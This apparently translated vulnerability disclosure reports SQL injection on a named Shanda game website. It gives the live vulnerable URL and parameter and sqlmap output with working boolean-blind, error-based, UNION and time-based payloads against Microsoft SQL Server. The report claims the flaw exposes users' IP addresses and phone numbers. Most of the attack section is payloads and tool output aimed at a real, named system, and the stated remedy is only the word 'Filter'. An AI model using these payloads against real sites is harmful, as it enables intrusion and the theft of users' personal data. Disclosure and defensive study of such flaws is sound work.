SQL Injection on a site of Shanda game may cause leakage of the IP addresses and mobile phone numbers of current database users

SQL Injection on a site of Shanda game may cause leakage of the IP addresses and mobile phone numbers of current database users

Shanda game was injected again, and its permissions were not high enough to query its own tables. You can see the IP address and mobile phone number when the user is activated.

Injection address:

http://blood.sdo.com/NewsApp/GetVoteInfo.ashx?naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818

Payload：

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: nacId    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818' AND 8946=8946 AND 'KKsY'='KKsY    Vector: AND [INFERENCE]    Type: error-based    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause    Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818' AND 2110=CONVERT(INT,(SELECT CHAR(113)+CHAR(99)+CHAR(100)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (2110=2110) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(110)+CHAR(113))) AND 'puHS'='puHS    Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))    Type: UNION query    Title: Generic UNION query (NULL) - 11 columns    Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(99)+CHAR(100)+CHAR(110)+CHAR(113)+CHAR(82)+CHAR(108)+CHAR(99)+CHAR(68)+CHAR(107)+CHAR(118)+CHAR(90)+CHAR(110)+CHAR(89)+CHAR(67)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(110)+CHAR(113),NULL--     Vector:  UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,[QUERY],NULL--     Type: AND/OR time-based blind    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)    Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=-7349' OR 5039=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'huTO'='huTO    Vector: OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)---[18:43:29] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NETback-end DBMS: Microsoft SQL Server 2008

 

It shares a database with other games, but cannot be viewed due to insufficient permissions.
 

Leakage of a large number of user IP addresses and mobile phone numbers:
 

 

Solution:

Filter